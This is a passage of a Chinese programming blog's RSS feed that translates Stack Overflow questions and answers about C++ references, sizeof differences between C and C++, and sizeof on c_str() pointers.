      <guid>http://blog.leaver.me/2012/05/23/c-%E7%8B%AC%E7%AB%8B%E5%BC%95%E7%94%A8%E4%B8%BA%E4%BB%80%E4%B9%88/</guid>
      <description>&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;I read in some good C++ tutorial that independent references do exist, and act like aliasing.
我读了一些好的C++文章，发现独立引用确实存在，并且很像别名。
But&amp;hellip; I wonder what it is made for.
但是，，，我想知道他适用于什么情况。
Why should one want to use aliasing.Besides, some piece of code that is not clear to me:
为什么有人想使用别名呢，另外，下面这段代码我不太清楚。&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true&#34;&gt;int a;
int &amp;amp;ref = a; // independent reference
int b = 19;
ref = b;
cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt; ref &amp;lt;&amp;lt; &#34;\n&#34;;
ref--;
cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt; ref &amp;lt;&amp;lt; &#34;\n&#34;;&lt;/pre&gt;
&lt;span style=&#34;font-family: monospace;&#34;&gt;
&lt;/span&gt;
&lt;p&gt;First, ref is a &amp;lsquo;reference&amp;rsquo; to a.I understand from second line of code that address for ref (hence the ampershead) is
首先，ref是一个对a的引用，从第二行代码那我认为ref的地址也就是a，（括号里面不清楚什么意思。貌似是作者写错了）&lt;/p&gt;
&lt;p&gt;a. Then, integer ref is assigned the value of b (19). First cout returns a and ref, both equal to 19.
然后呢，整数ref被b（19）被赋值，第一次输出a和ref，都是19，&lt;/p&gt;
&lt;p&gt;Why? Isn&amp;rsquo;t integer a the address for ref? Then, decrements ref, and last cout gives two times 18. a and ref where decremented.
为什么，难道整数a不是给ref的地址？然后ref自减，最后输出了2个18，a和ref都减少了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>c &amp; c&#43;&#43;中sizeof返回值不同?</title>
      <link>http://blog.leaver.me/2012/05/22/c-c-%E4%B8%ADsizeof%E8%BF%94%E5%9B%9E%E5%80%BC%E4%B8%8D%E5%90%8C/</link>
      <pubDate>Tue, 22 May 2012 11:28:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/22/c-c-%E4%B8%ADsizeof%E8%BF%94%E5%9B%9E%E5%80%BC%E4%B8%8D%E5%90%8C/</guid>
      <description>&lt;p&gt;问题:
A character array is defined globally and a structure with same name is defined within a function.
一个字符数组被定义为全局变量，一个相同名字的结构体被定义在一个函数内部。&lt;/p&gt;
&lt;p&gt;Why sizeof operator returns different values for c &amp;amp; c++ ?
为什么sizeof操作符对于C和C++返回了不同的值呢？&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;char S[13];
void fun()
{
    struct S
    {
        int v;
    };
    int v1 = sizeof(S);
}
// returns 4 in C++ and 13 in C&lt;/pre&gt;
&lt;p&gt;答案：
Because in C++, the struct you defined is named S, while in C,
因为在C++中，你定义的结构体的名称是S，而在C中，&lt;/p&gt;
&lt;p&gt;it&amp;rsquo;s named struct S (which is why you often see typedef struct used in C code).
他叫做struct S（这也是为什么我们可以经常看到typedef struct 被用在C代码中）。&lt;/p&gt;
&lt;p&gt;In C, to refer to the struct type, you need to say struct S. Therefore, sizeof(S) refers to the array.
在C中，引用一个结构类型的时候，你必须说struct S，因此，sizeof（S）调用的是数组S。&lt;/p&gt;
&lt;p&gt;In C++, struct is unnecessary. So the local S hides the global S.
在C++中，struct这个字不是必需的，所以局部变量S隐藏了全局变量S。&lt;/p&gt;
&lt;p&gt;If you were to change the code to the following, you would get the expected results:
如果你把代码改成下面的样子，你就能得到你期望的结果了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>为什么sizeof(str.substr(0,3).c_str())=8?</title>
      <link>http://blog.leaver.me/2012/05/21/%E4%B8%BA%E4%BB%80%E4%B9%88sizeofstr.substr03.c_str8/</link>
      <pubDate>Mon, 21 May 2012 06:59:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/21/%E4%B8%BA%E4%BB%80%E4%B9%88sizeofstr.substr03.c_str8/</guid>
      <description>&lt;p&gt;问题：
&lt;code&gt;string str = &amp;quot;abcdefgdcb&amp;quot;; cout &amp;amp;lt; &amp;amp;lt; sizeof(str.substr(0,3).c_str());&lt;/code&gt;
For some reason, the above string is giving me 8. I assumed c_str() returns a null string,
由于某些原因，上面的这个字符串得到的结果是8，我估计c_str()返回了一个null，&lt;/p&gt;
&lt;p&gt;and sizeof uses the null to determine the size of the string.
并且sizeof函数使用这个null来定义这个字符串的大小。&lt;/p&gt;
&lt;p&gt;答案：
Because sizeof doesn&amp;rsquo;t give you the length of a string,
因为sizeof给你的不是一个字符串的长度，&lt;/p&gt;
&lt;p&gt;it gives you the size of the type (const char * in this case). Try strlen.
他给你的是这个类型的大小（这种情况下的类型是c_str()返回的const char*类型），想要得到正确的结果，试试strlen函数吧。&lt;/p&gt;
&lt;p&gt;On your system, sizeof (const char &lt;em&gt;) == 8, like any other pointer.
在你的系统上，sizeof(const char&lt;/em&gt;)=8,和其他所有的指针类型一样。&lt;/p&gt;
&lt;p&gt;8 is the size of a pointer on your machine (64-bit)
8是在你的64位电脑上一个指针的大小&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s your problem. sizeof tells you the size of a variable,
别乱假设，sizeof告诉你一个变量的大小，&lt;/p&gt;
&lt;p&gt;which has nothing to do with the value inside the variable, ever.
他不会进入变量里面对变量做任何改变的。。永远不会。&lt;/p&gt;
&lt;p&gt;问题:&lt;a href=&#34;http://stackoverflow.com/q/10668764/764869&#34;&gt;http://stackoverflow.com/q/10668764/764869&lt;/a&gt;&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
